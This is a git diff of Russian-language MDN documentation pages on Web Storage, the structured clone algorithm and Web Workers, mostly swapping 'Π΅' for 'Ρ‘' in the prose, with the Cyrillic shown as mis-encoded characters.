+<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">Когда Π²Ρ‹Β Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚Π΅Β Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΠΏΡ†ΠΈΠΈ, страница Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ пСрСзагруТаСтся; Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, ваш Π²Ρ‹Π±ΠΎΡ€ сохраняСтся Π² localStorage, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠΎΠΊΠΈΠ΄Π°Π΅Ρ‚Π΅ страницу ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚Π΅ Π΅Ρ‘ снова спустя Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя, ваши ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹Β ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ.</p>
-<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ прСдоставили <a href="https://mdn.github.io/dom-examples/web-storage/event.html">страницу Π²Ρ‹Π²ΠΎΠ΄Π° событий</a> - Ссли Π²Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ эту страницу Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅, Π·Π°Ρ‚Π΅ΠΌ сдСлаСтС Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ измСнСния в landing page,Β Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅.</p>
+<p>ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ прСдоставили <a href="https://mdn.github.io/dom-examples/web-storage/event.html">страницу Π²Ρ‹Π²ΠΎΠ΄Π° событий</a> - Ссли Π²Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ эту страницу Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅, Π·Π°Ρ‚Π΅ΠΌ сдСлаСтС Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ измСнСния в landing page,Β Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/9687/event-output.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;"></p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Помимо просмотра ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π²Ρ‹ΡˆΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ привСдСнныС ссылки Π²Ρ‹ΡˆΠ΅Β , Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ исходный ΠΊΠΎΠ΄</a>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Помимо просмотра ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π²Ρ‹ΡˆΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ привСдённыС ссылки Π²Ρ‹ΡˆΠ΅Β , Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ исходный ΠΊΠΎΠ΄</a>.</p>
</div>
<h2 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°_Π½Π°_Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΡΡ‚ΡŒ_Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΡΡ‚ΡŒ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°</h2>
-<p>НачнСм с main.js, ΠΌΡ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ Π±Ρ‹Π» Π»ΠΈ ΡƒΠΆΠ΅ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Storage (Ρ‚.Π΅ страница Π±Ρ‹Π»Π° Ρ€Π°Π½Π΅Π΅ доступна)</p>
+<p>Начнём с main.js, ΠΌΡ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ Π±Ρ‹Π» Π»ΠΈ ΡƒΠΆΠ΅ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Storage (Ρ‚.Π΅ страница Π±Ρ‹Π»Π° Ρ€Π°Π½Π΅Π΅ доступна)</p>
<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) {
populateStorage();
@@ -86,7 +86,7 @@ else {
}
</pre>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ {{domxref("Storage.getItem()")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· storage; Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ провСряСм, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ сущСствуСт Π»ΠΈ bgcolor; Ссли Π½Π΅Ρ‚, ΠΌΡ‹ запускаСм <code>populateStorage(), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ Π² storage. Если значСния уТС Π΅ΡΡ‚ΡŒ Ρ‚Π°ΠΌ, ΠΌΡ‹ запускаСм setStyles(), для обновлСния стиля страница с сохранСнными значСниями.</code><br>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ {{domxref("Storage.getItem()")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· storage; Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ провСряСм, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ сущСствуСт Π»ΠΈ bgcolor; Ссли Π½Π΅Ρ‚, ΠΌΡ‹ запускаСм <code>populateStorage(), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ Π² storage. Если значСния уТС Π΅ΡΡ‚ΡŒ Ρ‚Π°ΠΌ, ΠΌΡ‹ запускаСм setStyles(), для обновлСния стиля страница с сохранёнными значСниями.</code><br>
<strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ {{domxref("Storage.length")}} для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ storage object.</p>
<h2 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_Π΄Π°Π½Π½Ρ‹Ρ…_ΠΈΠ·_Storage">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· Storage</h2>
@@ -147,7 +147,7 @@ imageForm.onchange = populateStorage;</pre>
<h2 id="Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅_записанных_Π΄Π°Π½Π½Ρ‹Ρ…">Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ записанных Π΄Π°Π½Π½Ρ‹Ρ…</h2>
-<p>Web Storage Ρ‚Π°ΠΊΠΆΠ΅ прСдоставляСт нСсколько простых ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² для удалСния Π΄Π°Π½Π½Ρ‹Ρ…. ΠœΡ‹ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π² нашСм Π΄Π΅ΠΌΠ°, Π½ΠΎ ΠΎΠ½ΠΈ ΠΎΡ‡Π΅Π½ΡŒ простыС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΈΡ… Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚:</p>
+<p>Web Storage Ρ‚Π°ΠΊΠΆΠ΅ прСдоставляСт нСсколько простых ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² для удалСния Π΄Π°Π½Π½Ρ‹Ρ…. ΠœΡ‹ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ эти ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π² нашСм Π΄Ρ‘ΠΌΠ°, Π½ΠΎ ΠΎΠ½ΠΈ ΠΎΡ‡Π΅Π½ΡŒ простыС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΈΡ… Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚:</p>
<ul>
<li>{{domxref("Storage.removeItem()")}} ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ СдинствСнный Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ - ΠΊΠ»ΡŽΡ‡ элСмСнта Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ - ΠΈ удаляСт Π΅Π³ΠΎ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° хранСния для этого Π΄ΠΎΠΌΠ΅Π½Π°.Β </li>
diff --git a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html
index e53a1144ba..c6e9737833 100644
--- a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html
+++ b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html
@@ -3,7 +3,7 @@ title: Алгоритм структурированного ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π
slug: Web/API/Web_Workers_API/Structured_clone_algorithm
translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm
---
-<p>Алгоритм структурированного клонирования β€” это Π½ΠΎΠ²Ρ‹ΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ,Β <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ спСцификациСй HTML5</a> для сСриализации комплСксных JavaScript ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². Он Π±ΠΎΠ»Π΅Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π΅Π½, Ρ‡Π΅ΠΌ <a href="/en/JSON" title="en/JSON">JSON</a> Π² Ρ‚ΠΎΠΌ Ρ‡Ρ‚ΠΎ способСн ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΡΠ΅Ρ€ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² содСрТащих цикличСскиС Π³Ρ€Π°Ρ„Ρ‹ β€” ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅ΡΡ‚ΡŒ ссылка Π½Π° ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π³Ρ€Π°Ρ„Π΅. Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ структурированного клонирования ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ эффСктивСн, Ρ‡Π΅ΠΌ JSON.</p>
+<p>Алгоритм структурированного клонирования β€” это Π½ΠΎΠ²Ρ‹ΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ,Β <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ спСцификациСй HTML5</a> для сСриализации комплСксных JavaScript ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². Он Π±ΠΎΠ»Π΅Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π΅Π½, Ρ‡Π΅ΠΌ <a href="/en/JSON" title="en/JSON">JSON</a> Π² Ρ‚ΠΎΠΌ Ρ‡Ρ‚ΠΎ способСн ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΡΠ΅Ρ€ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² содСрТащих цикличСскиС Π³Ρ€Π°Ρ„Ρ‹ β€” ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρƒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅ΡΡ‚ΡŒ ссылка Π½Π° ΠΏΠ΅Ρ€Π²ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ Π³Ρ€Π°Ρ„Π΅. Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ структурированного клонирования ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ эффСктивСн, Ρ‡Π΅ΠΌ JSON.</p>
<p>Алгоритм, ΠΏΠΎ сущСству, ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°Π΅Ρ‚ всС поля ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, дублируя значСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ поля Π² Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Если ΠΏΠΎΠ»Π΅ прСдставляСт ΠΈΠ· сСбя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с собствСнными полями, Ρ‚ΠΎ эти Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ поля Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°ΡŽΡ‚ΡΡ рСкурсивно, ΠΏΠΎΠΊΠ° ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΏΠΎΠ»Π΅ ΠΈ всС Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ поля Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΎΠ΄ΡƒΠ±Π»ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π² Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
@@ -107,7 +107,7 @@ translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm
<h2 id="Π”Ρ€ΡƒΠ³ΠΎΠΉ_Π²Π°Ρ€ΠΈΠ°Π½Ρ‚_Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠ΅_ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅β€Ž">Π”Ρ€ΡƒΠ³ΠΎΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚:Β Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠ΅ ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅β€Ž</h2>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½ΡƒΡŽ копию ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β (Ρ‚.С рСкурсивно ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всС Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ свойства, проходя ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ½ΠΎΠΉ Ρ†Π΅ΠΏΠΈ), Β Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄. НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Β Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½ΡƒΡŽ копию ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β (Ρ‚.С рСкурсивно ΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всС Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ свойства, проходя ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ½ΠΎΠΉ Ρ†Π΅ΠΏΠΈ), Β Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄. НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Β Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</p>
<pre class="brush: js">function clone(objectToBeCloned) {
// Basis.
@@ -142,7 +142,7 @@ translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm
<div class="note"><strong>Β  Note:</strong>Β Π­Ρ‚ΠΎΡ‚ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ Β Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Β Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Β <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="RegExp"><code>RegExp</code></a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a>, ΠΈ <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a> ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ условия, ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€ΡΡŽΡ‰ΠΈΠ΅ вашим потрСбностям.</div>
-<h2 id="Π•Ρ‰Π΅_ΠΏΠΎ_Ρ‚Π΅ΠΌΠ΅">Π•Ρ‰Π΅ ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅</h2>
+<h2 id="Π•Ρ‰Ρ‘_ΠΏΠΎ_Ρ‚Π΅ΠΌΠ΅">Π•Ρ‰Ρ‘ ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅</h2>
<ul>
<li><a class="external" href="http://www.w3.org/TR/html5/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">HTML5 Specification:Β Safe passing of structured data</a></li>
diff --git a/files/ru/web/api/web_workers_api/using_web_workers/index.html b/files/ru/web/api/web_workers_api/using_web_workers/index.html
index 9767a15c43..e54339bd17 100644
--- a/files/ru/web/api/web_workers_api/using_web_workers/index.html
+++ b/files/ru/web/api/web_workers_api/using_web_workers/index.html
@@ -9,11 +9,11 @@ original_slug: DOM/Using_web_workers
---
<div>{{DefaultAPISidebar("Web Workers API")}}</div>
-<p>Web Worker-Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ простоС срСдство для запуска скриптов Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅. ΠŸΠΎΡ‚ΠΎΠΊ Worker'Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡ΠΈ Π±Π΅Π· Π²ΠΌΠ΅ΡˆΠ°Ρ‚Π΅Π»ΡŒΡΡ‚Π²Π° Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс. К Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅, ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒ Π²Π²ΠΎΠ΄/Π²Ρ‹Π²ΠΎΠ΄, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code><a class="internal" href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest">XMLHttpRequest</a></code> (хотя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <code>responseXML</code> ΠΈ <code>channel</code> всСгда Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π²Π½Ρ‹ null). Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Worker ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΡΡ‹Π»Π°Ρ‚ΡŒ сообщСния JavaScriptΒ ΠΊΠΎΠ΄Ρƒ-ΡΠΎΠ·Π΄Π°Ρ‚Π΅Π»ΡŽ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ этим ΠΊΠΎΠ΄ΠΎΠΌ (ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚). Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Π΅Ρ‚ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡŽ ΠΏΠΎ использованию Web Workers.</p>
+<p>Web Worker-Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ простоС срСдство для запуска скриптов Π² Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅. ΠŸΠΎΡ‚ΠΎΠΊ Worker'Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡ΠΈ Π±Π΅Π· Π²ΠΌΠ΅ΡˆΠ°Ρ‚Π΅Π»ΡŒΡΡ‚Π²Π° Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс. К Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅, ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒ Π²Π²ΠΎΠ΄/Π²Ρ‹Π²ΠΎΠ΄, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code><a class="internal" href="/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest">XMLHttpRequest</a></code> (хотя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <code>responseXML</code> ΠΈ <code>channel</code> всСгда Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π²Π½Ρ‹ null). Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Worker ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΡΡ‹Π»Π°Ρ‚ΡŒ сообщСния JavaScriptΒ ΠΊΠΎΠ΄Ρƒ-ΡΠΎΠ·Π΄Π°Ρ‚Π΅Π»ΡŽ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ этим ΠΊΠΎΠ΄ΠΎΠΌ (ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚). Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ 